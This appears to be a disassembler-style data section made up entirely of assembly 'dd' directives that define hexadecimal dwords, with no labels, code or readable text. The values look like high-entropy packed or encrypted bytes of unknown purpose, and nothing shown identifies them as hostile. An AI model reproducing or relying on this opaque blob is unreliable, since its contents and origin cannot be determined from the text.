		dd 1DB46959h, 0FE7F00C7h, 0CE9771C4h, 6C243D5Dh, 0E88350BBh
		dd 0A8F88A59h, 0A066F7FBh, 0A28A0h, 0CA687FD0h,	0BF9BAC62h
		dd 96069700h, 94CCB090h, 84DF009Dh, 0BB3958Ah, 0A21E9341h
		dd 6A401DEEh, 11B8F932h, 3AD98C6h, 7A459C9Dh, 12F0F81Fh
		dd 5D3FAEAFh, 0DCB8E03Ah, 898738h, 0A19B4E6Ch, 0EB959ED4h
		dd 0F8004C92h, 21D59F76h, 0F4F01B2Fh, 723F0398h, 8AACD21Ah
		dd 9BA4EEC8h, 3235A824h, 51D1BC00h, 4C6AFD38h, 7E014C4Bh
		dd 0C5251C61h, 5DB8EC17h, 62F90600h, 8BDB0811h,	57C209BFh
		dd 5800C04Ch, 0E315310Ch, 10C1C730h, 2268BBB9h,	1000ECD4h
		dd 4719344Dh, 0ABFE8Dh,	622CCAB5h, 0F0C00189h, 5FCE88C0h
		dd 4D79D85Ah, 0A90080D4h, 96F9EF11h, 583032CBh,	2BAE289Ah
		dd 0FEFA75h, 2D5237E3h,	919060Bh, 8005D1B8h, 3C7CF61h
		dd 0C3E91C41h, 85608B2Fh, 0D8F001BDh, 5292A90Bh, 1DDCDC10h
		dd 0BE84CD0Ch, 3CE0A2Dh, 26EDA34h, 12A82CC0h, 310158BAh
		dd 2A89EF17h, 50808F9Fh, 7D25999Ah, 10008633h, 0BC582D1Ch
		dd 0B4C57Bh, 77B14F55h,	0E9610208h, 0BEA2F21Eh,	0D5BD98C0h
		dd 0F7138E0h, 0C0E5790Ah, 4173CD40h, 480099D6h,	5E0DC7F3h
		dd 4D854Ch, 2C0C3D3Ah, 0ACB0537Ah, 3B6BB700h, 79EDE188h
		dd 6292006Fh, 0C72E1275h, 0DE0FF6B6h, 0E09D77C6h, 0C9781763h
		dd 90D8A18Ch, 0FA4D4ACCh, 0EC43008Bh, 2C66F5CAh, 0FA095AC9h
		dd 820FBBBFh, 0E0068810h, 0E8C4Eh, 19592538h, 0D1CA1F67h
		dd 0D50C6D17h, 14213F05h, 5A2968C0h, 0E0FB3B2Ch, 0DA581180h
		dd 0FFDD6847h, 0D9693300h, 980E432h, 0A4D14842h, 51D03E00h
		dd 500391F9h, 0F18C2300h, 0F01E1D55h, 0DC130027h, 59443AA1h
		dd 0A8C73389h, 8C3032E4h, 0A5A3FAh, 0A1818339h,	0B094C6Fh
		dd 999EB500h, 0B0343AADh, 0B803FE74h, 85250FB0h, 0CFE0BF22h
		dd 0C265BEFh, 7933B1C2h, 0E5A4607Ch, 487021Fh, 0D086A7F0h
		dd 8F0014BEh, 65A6FA85h, 7D8801h, 0EA33F247h, 0F7792A6Fh
		dd 9F859004h, 10D11FB2h, 28406EF4h, 14BF5287h, 10590BABh
		dd 3B13E904h, 0BF5A4025h, 0DF58373h, 0FA02F3D9h, 0B4C1850h
		dd 0AF7E0085h, 0DFE80186h, 48275Dh, 7C5F9992h, 1FF48AC4h
		dd 40586FBFh, 720654ACh, 7F3FC638h, 24C3003Dh, 41C56DEFh
		dd 84D4007Ah, 0A6F21843h, 6C480FE2h, 64700009h,	0FAD1E16Eh
		dd 0DD0E00A7h, 0CD01AF69h, 0F0002679h, 0FD909D8Dh, 0F378930h
		dd 0E7C034EBh, 0B7B5405Dh, 18BB8026h, 0AFC14000h, 873BC9ACh
		dd 0E22D00DEh, 3ED5631Ah, 0FD30AE9Bh, 0C32E1038h, 0FCDB03C2h
		dd 0CD6BF082h, 95C8C088h, 0C12FE000h, 5CB02EF3h, 98020012h
		dd 0C64BD90Bh, 9900CD68h, 0AEB74F1Fh, 508DC4CEh, 0C29871h
		dd 8FDE3715h, 93572C12h, 880384B2h, 8C3A3B45h, 9008003Dh
		dd 17D940E6h, 0D5004A12h, 5C32086Fh, 193D66h, 0FC248149h
		dd 13AD435Ah, 9500AC90h, 0CF2B635Bh, 0EC2C7Fh, 370FD78Eh
		dd 247E53F9h, 0DA04BC00h, 80FCA0E9h, 0DC6E07BFh, 0C064BD41h
		dd 0CF67C19Ah, 78C29000h, 43B01FFFh, 0C9F40083h, 4A1087D1h
		dd 0CB00A148h, 0B68212E1h, 0F6C276Bh, 0FC987803h, 0DF35A9E0h
		dd 6300048Ch, 6FB28465h, 0BEEB64h, 86303368h, 39E6517Bh
		dd 6E63FD26h, 0B1F79300h, 9C3A1Ah, 0B5116813h, 0B89807B6h
		dd 54D58B00h, 0B48D3BECh, 0B8977C27h, 22CF00B5h, 0CC5B1792h
		dd 0E9000C6Ch, 91EBB1BCh, 3F71DB3h, 0E2BEB49Dh,	5880168h
		dd 0F8009A61h, 6BFC2352h, 60D38019h, 0BAF621B8h, 260021F3h
		dd 235774BBh, 0FA33690h, 634CB295h, 66E4562h, 24C5C980h
		dd 8200E007h, 0E4900455h, 981AC4h, 73808D6Dh, 4595573Dh
		dd 0EE663E1Fh, 0B14E91C4h, 1D21980h, 0C9DD00B8h, 444C6A38h
		dd 339E011h, 0D17A80A8h, 1FF78D07h, 0F3340004h,	28C442E6h
		dd 2D7C4C3Dh, 39325B00h, 47FA7C76h, 92B892h, 0F5A8271Bh
		dd 28318271h, 0D7F70B00h, 571EDC3Ah, 29D001C1h,	30556A6Bh
		dd 78FD040h, 1CEF1B00h,	22AB546Ch, 0F9EC9Bh, 31336310h
		dd 0FF1B5EEEh, 0F7100860h, 0FE285Dh, 61F2F6AFh,	6ACC2F65h
		dd 7A447107h, 1C1090E1h, 36BB93Fh, 0F2DB7030h, 70075F63h
		dd 740DBCCEh, 7A8ECh, 0D8B45B23h, 718E40CFh, 2D968101h
		dd 91395299h, 80D74881h, 80BF25E5h, 4F01F259h, 14764629h
		dd 0C2876C3Ch, 0BF5C0C0Ah, 204880F4h, 6AFCAFECh, 7D7CE300h
		dd 0A3998B04h, 0AB9300EAh, 85A9D081h, 7A008EC8h, 4909E24Bh
		dd 12AFE894h, 4868FFh, 256FFC24h, 32005D5Bh, 23113171h
		dd 12613A79h, 7E11DEDh,	0E0AF5310h, 2262B0B9h, 7AE47000h
		dd 2A6D444h, 2C1C3D5Ah,	0C2DC5100h, 0C9C56827h,	0BB0F3476h
		dd 81E436C3h, 7DD07E01h, 4EB803D3h, 0BC8C1BE2h,	0D850FEB0h
		dd 6679F200h, 97A55B34h
		dd 0F3D9C03Eh, 0A6A3E06Dh, 0FFC7FE00h, 863BB106h, 3491009Ah
		dd 7F87F545h, 10007AAAh, 0E47DE777h, 0E4363CCh,	4EC78F56h
		dd 0BB19AD21h, 236420DFh, 7DE5BF13h, 32B1D007h,	0D40E3CD0h
		dd 0C6B0A8Bh, 80AC4DEEh, 0A8ED1DB6h, 0E8051E92h, 1565270Dh
		dd 67BDD80h, 0E3940012h, 469FDF8Eh, 6000CEE2h, 2D4FA83Dh
		dd 0FE95EBh, 140E9D24h,	71519FF6h, 0B44A4000h, 0B0BE960Fh
		dd 13F0D619h, 67540038h, 261B33F0h, 8064173Ch, 7BF76978h
		dd 83EBC8h, 8B50BB24h, 0CC9FE135h, 0D625C000h, 32FE59F7h
		dd 3BA30004h, 0FB80AD2h, 873D833Fh, 1B7900E6h, 127EA696h
		dd 296E1E73h, 1F930063h, 85883C60h, 81621C0Ch, 0B4F04Eh
		dd 1E693240h, 284386FBh, 0BE009874h, 0B9E4D91Ah, 0A10F26h
		dd 0A225FC5Ch, 9D132911h, 33186800h, 61C7B081h,	0B8FA1E97h
		dd 5B0E0095h, 4D1CD83Eh, 0E8EA3B1Dh, 0F249E3DDh, 976280DCh
		dd 19964Ah, 0A90B2F7h, 4EE9F56Bh, 0CB6C103h, 0D0D42033h
		dd 0E6667DECh, 0CA3FEA4h, 0B1D1216Eh, 400063B1h, 36EEA62Fh
		dd 0B0C74Bh, 0DF32A130h, 4CB1BE6Ah, 0D4B9DE00h,	650127B6h
		dd 6BFD00CDh, 9A43F477h, 0C0A2F72Bh, 0DC187A80h, 63013BA0h
		dd 9742CA39h, 0CDDC7053h, 46D200D5h, 67FACB8Ch,	0A67F4101h
		dd 33F694F8h, 43F3A31Dh, 0A0005052h, 0D8356C18h, 750C1BC5h
		dd 56D830F9h, 41F6E8F0h, 7D776406h, 3C0939Fh, 24C9EED1h
		dd 88001815h, 2ADA5D44h, 1F1F92ECh, 0FBEA25h, 0E0FA23E4h
		dd 0D500BD22h, 0C6A137F7h, 0F16AE81h, 0D28D9C64h, 0FE286DC7h
		dd 0DF376BE0h, 2C78F34Eh, 587CBC00h, 5184E0CDh,	16960293h
		dd 8A608EEAh, 637A2444h, 0B009F580h, 0FD46000Ch, 5FEEA2F8h
		dd 0E2002140h, 0D8A704E9h, 0F9B933Dh, 2A292D19h, 1D8B3A00h
		dd 39750F38h, 9C551C3Bh, 0ED056897h, 0F0009D7Ch, 7588F166h
		dd 80CB0094h, 0E1EF5676h, 3E000DF7h, 0F6D18F8Ah, 0D77AB9h
		dd 0D87F919Fh, 9CB75D4Fh, 0B434081Fh, 0E01F6FCEh, 4E217B6Dh
		dd 78CC0E89h, 1780ACAEh, 83F2990Bh, 0E7167916h,	71DC8F00h
		dd 0EBB40D9h, 0E24818E8h, 0C107E980h, 0F107E5A5h, 0A7268A06h
		dd 6A2D6C51h, 5CF0E8h, 0E97F82D4h, 9899E055h, 47454A09h
		dd 695C80D6h, 979A402h,	0F4FE7015h, 73A53480h, 0F1023703h
		dd 0EAD6603Fh, 3A68CCCEh, 469F7550h, 0AFF0412Ch, 80D0F9D5h
		dd 3866BF58h, 78DA8h, 78DDF21Dh, 0BA6A650Ah, 1FF8151Ch
		dd 71B2EAC0h, 0C95298h,	5F50E0E8h, 0F792D6B6h, 810D2905h
		dd 0B6001B02h, 98143285h, 0B8E92442h, 8CE40074h, 0B5F24DEFh
		dd 0F4754Ch, 2E3CD1A3h,	2B218Dh, 0E5A4D92Ch, 92B9D7BDh
		dd 0C9E0CA39h, 4D3C0048h, 7FFA1DD3h, 0E7ED0078h, 0CF8A89Ah
		dd 100A3ACh, 4D9B6032h,	3E9DF9FCh, 44813657h, 996A2461h
		dd 0C848C627h, 49015B56h, 0AF0B1B43h, 61838FAEh, 1F3B2A12h
		dd 0B85DEFC0h, 3AD93000h, 0EBAB5718h, 3B8981Dh,	0AA2FE5B5h
		dd 117952F0h, 4C6C3000h, 0FDAB62B6h, 49D63AA0h,	2B64FF00h
		dd 0E1E2CC98h, 0A4824300h, 0BC2936F4h, 0FCF10702h, 607C8C96h
		dd 0CB222464h, 440038E4h, 3AFDA4DBh, 670F529h, 3DE0E219h
		dd 133A68C0h, 4CEC2C7Bh, 8DC72A04h, 0B0A34D0h, 525E1C18h
		dd 0EF904037h, 12C63123h, 30187450h, 0B38FA601h, 0C0162FEDh
		dd 0B638C880h, 3AC864CFh, 0B7D0A462h, 37E37F6Fh, 0C92CF807h
		dd 2A40EC16h, 0E999474h, 729E3431h, 37247F40h, 0B300D7F8h
		dd 0E68DFC77h, 0FBC7A88h, 660B4CCBh, 0BD18FD03h, 0E01477E1h
		dd 0B67164FBh, 0A0EE1A00h, 8B0327B9h, 0AD76008Ah, 2AE49F08h
		dd 203B1271h, 6E007AC8h, 1BC6BD68h, 0F23734DCh,	0A36200F8h
		dd 82C20AE5h, 35008519h, 5BA4537Eh, 310A6C8h, 83E3BF72h
		dd 0D00B477Fh, 0A0E5293Bh, 59B864ECh, 9A5D00CDh, 0F2F02EBFh
		dd 38C0A633h, 83E61F3Ah, 46B1404Fh, 0A4B8BC0Ch,	0F97F703Dh
		dd 0C188C3C0h, 6F2FF121h, 1803605Ah, 0FAD48F0Eh, 21588C17h
		dd 6F280048h, 0B7A3D8D5h, 0ED069187h, 49AF02BFh, 431020C8h
		dd 13DBC0A3h, 0DDD1C818h, 1F40BAA9h, 0C02FC423h, 0B286AC73h
		dd 0D5008868h, 0EEA42141h, 0D6B515FEh, 1DD0C0E8h, 0BB02C50Bh
		dd 7A6502A3h, 0C8C380F5h, 0E28F10h, 212036CCh, 8163E39Ch
		dd 98E93B0Eh, 0CE74603Dh, 755C1B5Bh, 84DA011Ah,	70F6BCA6h
		dd 65E8EFB4h, 237391FDh, 8173DD00h, 3297E90Bh, 14400275h
		dd 28254CC1h, 0C67AE881h, 8BEFD89Dh, 0ECA3DE03h, 0C0AEEAB0h
		dd 7BE6B9h, 3992B3E5h, 4FF91BE9h, 0F600FCF0h, 0C00549F0h
		dd 7F4EA1ECh, 43A21EC8h, 4A9540EFh, 0A76359BAh,	0B23B3E00h
		dd 5E6131A1h, 85E8005Fh, 0A81B9C5Ch, 0F900122Bh, 0F2453CE2h
		dd 34211ECh, 9BB551FEh,	24C84467h, 330050F0h, 987DAC3Ah
		dd 5734CBh, 19D5F878h, 2F05185Dh, 0E55438h, 0AD9FFB28h
		dd 7F838CA3h, 41200A1h,	0C4F40ED1h, 4F01A7DBh, 0FCE9D58h
		dd 0B5CC7411h, 53766Fh,	7DB18B27h, 965E65EDh, 0AB529119h
		dd 0F4DC1670h, 0B5BA0F0Ch, 9E61FCC2h, 0CCA52642h, 7D0397B8h
		dd 9B51C129h, 0CB95B86Fh, 257A0060h, 80BC6CDDh,	0F078974h
		dd 9D8A71D1h, 0C54F3120h, 0C34D007Ch, 348275F6h, 12708C92h
		dd 17445A1Eh, 8D013A80h, 0F937BCh, 0A13CBF0Fh, 0AD6BC325h
		dd 0F800D7ECh, 7BEF1840h, 181C3A98h, 0D07D923Bh, 0A37BE437h
		dd 5D9FBD00h, 6439EB4Ch, 635B1857h, 6CDC30C8h, 894A4300h
		dd 6887A93Ch, 0F1273F2Bh, 0E4F48183h, 59BA5B9Fh, 0A23690A0h
		dd 4B6B8466h, 0B75811h,	1629C25Ah, 2C0BBE8Eh, 77EE9700h
		dd 1A549EFEh, 0C4761513h, 5D01A094h, 0E5510AA1h, 0CA1080AEh
		dd 578C6238h, 0E180C260h, 5000289Eh, 7BF0F4h, 8EDA3067h
		dd 9DE0B017h, 0F929AF00h, 3C1F7D91h, 0E5310021h, 84537826h
		dd 9A24CE75h, 0C6021CEEh, 0E0294A09h, 0C40BF99h, 12A7A646h
		dd 55396DB8h, 3753B98h,	9EBB0423h, 0D436E8C6h, 9DDA0040h
		dd 0B870CA4Eh, 7C07417Bh, 94E9EDAFh, 97B112h, 18AD04A6h
		dd 0E43C100Eh, 13E7609Bh, 0EE91FCh, 68994B3h, 84C680D9h
		dd 0C4F75E00h, 11F819AFh, 303417CCh, 18E133Ch, 0C8A5D007h
		dd 216ED05Ah, 0B2A1FE07h, 0AF205B89h, 76880A0h,	0F1823437h
		dd 8B97B06Bh, 18058FE9h, 23BC2F3Ah, 82516C82h, 633F0EC0h
		dd 974BC8BFh, 9E8801C8h, 332C625h, 0C8E821C7h, 78052761h
		dd 0EE12F5A9h, 8D358600h, 0FEFD1177h, 0CAD60390h, 0E0B63950h
		dd 888AA400h, 6ADE84ACh, 0D6ACA1EDh, 2A02B422h,	2807FE55h
		dd 9535E340h, 2E7E0FF4h, 4B060D1Dh, 46D5E680h, 26538B2h
		dd 71F69920h, 0F0803F0Ah, 54C54B9Dh, 5227C600h,	3370A6D4h
		dd 14500ACh, 0F19CCA69h, 0AA01B335h, 656EAB34h,	8FE46083h
		dd 80C90FB6h, 63C0A0D2h, 38172E0Bh, 0CEE49600h,	0C8819453h
		dd 7C30042h, 664F9FAFh,	7D000D0Ah, 0FBEE20D9h, 997916h
		dd 0C2E1465Bh, 9FAAAC98h, 0AFE50400h, 35F01F37h, 0D6700E2h
		dd 0E1307EAh, 1C6092CBh, 60888518h, 0E3B63D6Fh,	28F68180h
		dd 9D9F502Bh, 238D4403h, 9FB0F0D3h, 0E13D80AEh,	7F890Bh
		dd 545D77E8h, 6AC5D220h, 0E99AE4F5h, 5B747900h,	0EFE1AB59h
		dd 0E0C30035h, 45A5CC42h, 1100251Dh, 268E9C8Ch,	3B84A6DFh
		dd 89805AC7h, 7BBC7DF0h, 2900B1DDh, 8AB5653Ch, 3DAC9A48h
		dd 58006DEh, 9E15C4E4h,	91011B4Ch, 54C2F0E5h, 14F07043h
		dd 0B0E421h, 0E2051FEDh
		dd 97DFCACEh, 0B2A04150h, 0C7403Dh, 85A4C3CBh, 2DAF0D1h
		dd 0D6F87F21h, 0AC60C822h, 2A724FB6h, 6F057B03h, 0C80BA473h
		dd 7311432h, 0F4D13A40h, 0FC37C095h, 80F07CD9h,	6D0081F2h
		dd 0F0B4C82Ah, 1E210CEBh, 0A6A9968Ch, 0DDE0098h, 2BD29278h
		dd 5A7AC2F6h, 0CE0C827Dh, 5921BD1Ah, 0FE5DFED5h, 7DEF006Dh
		dd 5C8D5A72h, 0EA614933h, 0C532D399h, 436F8C7h,	0FD0B00BCh
		dd 866E2C2Ah, 4F00A6A7h, 0D59930DAh, 8D7438h, 78928E26h
		dd 8C504460h, 0F20194EEh, 0E5ED074Bh, 78807E81h, 6875CA16h
		dd 4216CBA9h, 1F01352h,	0A66601D7h, 1CF94FB8h, 0F829F9CAh
		dd 41761701h, 0A012FF00h, 44DC09CCh, 0EFEE04FBh, 80B7F8F3h
		dd 255AF19Dh, 0D760A600h, 27B3A9B1h, 1920557h, 78B2695h
		dd 0E0704F8Eh, 5003148Dh, 0D59C1206h, 4B9DC82h,	41A778B4h
		dd 0A48F8153h, 807C202Bh, 0F506B216h, 87605600h, 1374707h
		dd 19F71BCEh, 802C96FDh, 8177BB28h, 266435h, 18ABF62Eh
		dd 0EF634A93h, 73C4FF07h, 758348A0h, 19300131h,	5BC97C18h
		dd 9D4C209Bh, 2A103A00h, 0FEEAB42h, 6A140309h, 0DB40CFE3h
		dd 4985D6B0h, 0B0909B12h, 75DE3800h, 0FE7DDCBh,	540FA12h
		dd 0EBE41EA0h, 1502DCF4h, 2697B204h, 0B9A88162h, 0F040715Ch
		dd 18C7E321h, 3917BAD6h, 39501965h, 44706BB8h, 17C2C48h
		dd 0F9A2C142h, 0C7C4BC2Dh, 1A930178h, 46CE8141h, 0A83424F1h
		dd 0B74FFD00h, 6BEF330Bh, 0B49A50F4h, 40FA65h, 0C0FDD8C4h
		dd 3F6AF34Dh, 849E040Eh, 599B40B3h, 1FDA8F9Ch, 490F9F5Bh
		dd 0B674A31Fh, 0D886BE01h, 2DF0CA5Eh, 6C2F2C5Bh, 5CBC07A0h
		dd 958B30D2h, 0E40FC06Fh, 0C71006BFh, 0A9411298h, 13600903h
		dd 0D872005Fh, 24D68287h, 8B035452h, 0BF4D30C3h, 0F2E4E05Bh
		dd 15CAF2D9h, 0BC38C806h, 0E7929603h, 22A8D534h, 0A200D275h
		dd 1288EFDEh, 3748E2h, 0E3052BADh, 977622FCh, 0B50063E8h
		dd 6BE77040h, 0A4C7357h, 7D4FAF2Fh, 87D000F2h, 2874D163h
		dd 961D3701h, 0F3A67F27h, 0EA2C18D0h, 3FDA00F5h, 79542658h
		dd 0C8393411h, 4CF00085h, 598C5FC1h, 9D5E0C14h,	0F768415Ah
		dd 56157200h, 71E27A94h, 5B61003Ah, 0EDD22534h,	380F500Ch
		dd 0E0F388F8h, 0F66A130Eh, 14C301AFh, 0EC9C03C8h, 0CEB0F70Ch
		dd 2A0E17D8h, 664B54h, 638CE01Dh, 0DC79D7h, 2969CAD2h
		dd 77A37C93h, 300DDECh,	13AF59B2h, 0A60999h, 0C3A59CEDh
		dd 0EA65FEBEh, 936A5300h, 998128D4h, 584D00C6h,	694657A9h
		dd 41006CFAh, 6D7EF564h, 7C0979h, 8A538B67h, 84558561h
		dd 639B171Ch, 22B21EC0h, 8AB072Ah, 98DB444Eh, 0A9338F00h
		dd 1875767Fh, 81F39A24h, 0A1008D04h, 9B88BDAh, 2A79762Eh
		dd 40109E24h, 0DC80EB91h, 485DE883h, 0A53CBD31h, 0B00F33Eh
		dd 3FEBA90Dh, 1B00B561h, 0BE1E7F90h, 0F0A1C4F4h, 0FE1EAD6h
		dd 572DA4EBh, 819186CCh, 987404ECh, 0E9A75F07h,	78CC5B2Ah
		dd 3BE6E2C4h, 31805EA6h, 33B47FA1h, 40FB44C2h, 5FE51B68h
		dd 205031D0h, 440F14C2h, 93001433h, 9DC681ACh, 0D1128738h
		dd 0B90C05A2h, 84B0E6h,	0DAA3D657h, 0D2358C90h,	87E09703h
		dd 0A04ADFC2h, 0CE7194h, 0D6EE0B76h, 85928891h,	6A8B7301h
		dd 5717376Bh, 6CF0CFEBh, 0F20650D9h, 0F340FA9h,	0E3C040D8h
		dd 0C4643D4Fh, 33A6C62Eh, 16C25400h, 1D0AA9Dh, 7598CC67h
		dd 0E4EC64BCh, 7B004E72h, 512011D3h, 0D913E6h, 1A14E938h
		dd 87FEA3Dh, 83F6410Ch,	0FC170810h, 0EE573A23h,	0F2CB2680h
		dd 0F9202A1Bh, 1C330C3Bh, 4E070BE2h, 0C6B0AD9Ch, 597A58h
		dd 0B199BA43h, 4B79B3C5h, 3826A977h, 7C008748h,	360D7DFFh
		dd 1E350002h, 60165B49h, 0C9009421h, 0BC9F0C05h, 0AE8D76h
		dd 0D6DEC114h, 0E6574AB7h, 0DFC0FF07h, 9870FE8Eh, 16AA39Fh
		dd 0D68871ADh, 0ECBBAC1Ch, 1F702F1Eh, 0C3AA8700h, 0C8A5D9F6h
		dd 9047030Bh, 11184DFAh, 0C0A669E9h, 99004FABh,	985C1427h
		dd 40C9D2h, 87E54382h, 3880A0C7h, 0EFDC0A03h, 0D8BD4226h
		dd 0F41568h, 59278AB2h,	60ECFFE7h, 0EF98E401h, 1C18A23Dh
		dd 0EE70F8CBh, 0AC3003Eh, 2E312B50h, 1300624Bh,	5E853326h
		dd 2C08A5h, 7AE43F3Ah, 9615FDD3h, 0AE4C1F3Eh, 3403184Fh
		dd 0EF6BA2h, 2E3DAF98h,	0B9B7051Eh, 198C2535h, 0F50B2E80h
		dd 0AD3D0E8Fh, 82E11AA2h, 7093662Fh, 772879CFh,	0FD30F832h
		dd 6251608Dh, 0EE0A06F5h, 0A0C1716Dh, 4EF99100h, 56AD122Fh
		dd 2A8912ABh, 80C501C7h, 3046178Ah, 4B00FB1Dh, 7B5A986Dh
		dd 1EAC571Ah, 40C323A2h, 0D386347Fh, 0BC0E4A1Fh, 0BE855642h
		dd 52AC482h, 588880C2h,	55F4E3h, 5CAE796Ah, 66CAF7BAh
		dd 491D00Eh, 224AC7E1h,	0F343C727h, 0EC4DA092h,	0A2A5030Bh
		dd 3C1F447Ah, 1391480Eh, 16BD4793h, 10CA4BF0h, 5F1006Bh
		dd 0EDC8AF8Eh, 19009673h, 58AD8A04h, 2B1AF6h, 1C81F91Eh
		dd 57C54CC2h, 2E23FFA0h, 0F5564500h, 0F2E75286h, 15750162h
		dd 7E9F6BA1h, 0B99C4333h, 9663CC80h, 0B154C0C0h, 0FE18017Ah
		dd 0EED0034h, 0FFE0CDC5h, 0EB004437h, 0A807CC08h, 158836Fh
		dd 20FA1BBFh, 70B4556Eh, 7F30A4F3h, 81D2C869h, 604A008Bh
		dd 0C1B3F9A9h, 90543BADh, 0D400B5ECh, 95DCBF15h, 0CE034E6h
		dd 0F209B38Dh, 0C6003621h, 0EB7964DDh, 795CD938h, 0B05E18A2h
		dd 65D66183h, 74628F00h, 3358F7D2h, 12E5195Ah, 9DF5D8FDh
		dd 0B6C0F3C8h, 6328DA77h, 3D160084h, 213B8070h,	7F48DED5h
		dd 0E62E067Fh, 0B59AB58h, 7417CD5Eh, 36AA1280h,	18C06204h
		dd 0E143B5DCh, 2D73001Ch, 0FFAB63Ah, 0B1DDFB35h, 0B827AB8Eh
		dd 0B13B81h, 0CA5FD87Dh, 0B87F74Eh, 98295413h, 0D5D7121Eh
		dd 0DA6EE0h, 5EDD6423h,	4F26B0ABh, 1C8E148h, 5D47C7D7h
		dd 0CBC43314h, 20EE302Dh, 0FBEAC188h, 97E97E0Eh, 2435E0B5h
		dd 35674DFh, 42962CB9h,	1FD0C68Ch, 0BE02EAF4h, 6BBBEC0Bh
		dd 0CED840A8h, 92510709h, 4EC4C3FAh, 25F040DEh,	0AF4506FFh
		dd 0AC80B100h, 0C4CF141Fh, 6CC00012h, 71BFB89Bh, 3F1E4070h
		dd 76C9978Ah, 0BDF18301h, 73BAC090h, 85D6004Bh,	223F5EB1h
		dd 0BB00669Dh, 0A888C099h, 609A648h, 8AF1BC2Ah,	2900BCB7h
		dd 752EEF32h, 1240252Dh, 79E26Fh, 6D9685E4h, 2700F928h
		dd 0B15F99A5h, 39B47CD8h, 0F71CD46Ah, 69D4018h,	0C91EE724h
		dd 15E88A00h, 62B77E54h, 0D7213B26h, 43305F1Dh,	4096E359h
		dd 0F30D64D0h, 48783Ch,	0B8D7AB67h, 1FD0B1A0h, 4008B51Ah
		dd 750B1E97h, 0E400CBACh, 2BB52E2h, 1C294348h, 0CA7BC33Dh
		dd 90451Eh, 0B4035AF1h,	0DE01C7CAh, 6DCFA297h, 21AC0CD3h
		dd 0C9E1FE5h, 44E0D78Eh, 18594D34h, 0BC29A5C0h,	9E54097Eh
		dd 90A3F596h, 3A89FA22h, 0DF3A3047h, 4E3DA0C0h,	26B0F419h
		dd 0F702301h, 654FA457h, 6C222CC1h, 0B45C2417h,	5ACEFD00h
		dd 7C799ECCh, 905D7D0Ch, 0E9F9000Ch, 5F836478h,	0F0022211h
		dd 7BFBA962h, 0AE9C044h, 0A76F0CF9h, 33882AFAh,	1FF66C00h
		dd 0DCDEAE5Ah, 3E740E54h, 0B700E907h, 6D49CF0Bh, 44B88CF6h
		dd 74DDD304h, 0E287D01Dh, 7DAE5C01h, 0A08987E8h, 0B83A9E84h
		dd 0A0DA0016h, 1B1560FBh, 5C39EB3Eh, 0F08A3C84h, 0BEC4A207h
		dd 1EC14C99h, 9FFD72E2h, 1259C0h, 0CAC22C27h, 1387A6DDh
		dd 0CFACC00h, 2E5D91DEh, 36F21Ah, 3922F683h, 65B187AFh
		dd 8238FD01h, 7DF83D6Dh
		dd 40DA0C21h, 0FF09BBEh, 55B0448Dh, 89457AA1h, 0ED45706Bh
		dd 0D092E04h, 548001DEh, 8414E8h, 0CD4F1B72h, 89FF94BEh
		dd 8CFA800h, 0BFEDF309h, 0DBF705E0h, 7BC576h, 208162AEh
		dd 75003EC4h, 9543F82Ch, 396D6E40h, 7100E06Ah, 0EDC7F727h
		dd 2100CD90h, 942361E7h, 780DEC6Eh, 0E64F036Dh,	4831971Ah
		dd 0ED3E3600h, 5DBA5980h, 7CF019h, 21EEE65Ah, 8C3CFD18h
		dd 23E41B00h, 0BDED1A32h, 0F2CD0098h, 0E52084F5h, 0E30E8A47h
		dd 27673002h, 53C045AEh, 3E952Ah, 0FBAD8604h, 2134A82h
		dd 0FD3D8A2Eh, 5B89881Fh, 0DB038273h, 4312406Ah, 89CE00E4h
		dd 81F43D66h, 19005342h, 237693CDh, 97493Fh, 62E06864h
		dd 0BAF2B099h, 8D8A4304h, 88D0D4CEh, 0F76394h, 78779CAEh
		dd 89864FBFh, 833AD000h, 17F4CB84h, 0EADF0258h,	0E8F16225h
		dd 12EB8C60h, 1323500h,	0F8512E8Fh, 42450287h, 11252BD4h
		dd 471660C0h, 247D973Ah, 9A160D59h, 71186C40h, 0EA95877h
		dd 91CADF2Fh, 78B3F383h, 0C97C2078h, 64E64200h,	0CEA8A170h
		dd 263A01B2h, 8AAC0D6Ch, 0A0B8417Eh, 0A1FACCFCh, 0EE0C1C01h
		dd 0A9C9753Dh, 0ECA9420h, 4F7EF797h, 79E9D78Ch,	0F851F1EFh
		dd 104B4B6Bh, 37BBF0h, 973FFCD7h, 778F7E79h, 1003B492h
		dd 1204B94Fh, 8074E2B8h, 9997F80Ch, 0F7BF00B4h,	0F3016A61h
		dd 0D0007C06h, 0CBBAD4Eh, 335937Fh, 53FC9678h, 30887DA2h
		dd 600CEF2h, 0D2FE91F8h, 732B5F21h, 961300F0h, 0D448F4B9h
		dd 52003525h, 0A22F5C71h, 133D59AEh, 0C01921h, 0A2E425Dh
		dd 72008A29h, 78AF585Fh, 0E8A166EFh, 4B1E005Ch,	7531461Ch
		dd 7F003C13h, 0A436B64Ch, 0EA73B5h, 2551C66Fh, 0FF92975Dh
		dd 0E201D7F0h, 0F6E48FDEh, 0E09D760Dh, 5FA84CBCh, 6000A372h
		dd 6BABF5BFh, 1B5FBACh,	0FCE5AA4Dh, 0E608B05Bh,	3E48860h
		dd 0E651390Bh, 0E7A28109h, 1080230Eh, 6007C76Bh, 0F8032AC6h
		dd 27C25094h, 403FB87Fh, 0E52E0193h, 3C317A22h,	171BE03Bh
		dd 8C5A4Dh, 273351EFh, 7707971h, 76CF6613h, 6FC8F0A3h
		dd 50021EF5h, 24AEB27Eh, 0C24CE811h, 13563D43h,	0FC5F2C80h
		dd 0D7503BFAh, 0C0B3012Eh, 2368E901h, 70723A04h, 52EC9300h
		dd 9F51A97Eh, 266AA55Ch, 99006A87h, 0E4852D80h,	0A7630EB3h
		dd 6B00B8E2h, 55538220h, 258AA900h, 1A86F9CEh, 30E50C0Ch
		dd 0F788AFDFh, 0FFF6D000h, 0A2AC7D74h, 7C664953h, 497C3500h
		dd 926811E4h, 77B1DE01h, 0D00C0DF2h, 0F1ECF98Fh, 16BA9E60h
		dd 85005BDFh, 0F214C26Fh, 2C2006h, 3D70A95Ah, 0B61395BCh
		dd 0B06D9B3Ah, 2E6361FEh, 0C844CFFh, 3640118Fh,	4EF02439h
		dd 0EC23F61Fh, 9B7000BBh, 5A49B3CDh, 0C5D230F8h, 0BCE2904Ah
		dd 0B5094601h, 670CDB64h, 4450A4h, 17CCE64Dh, 0EB0B3D04h
		dd 20A2D185h, 34C2D750h, 0FC7403CDh, 0EC57DEC1h, 367B28F0h
		dd 0E97919F6h, 2C84A859h, 7316E863h, 0ED265100h, 0CC8A17Eh
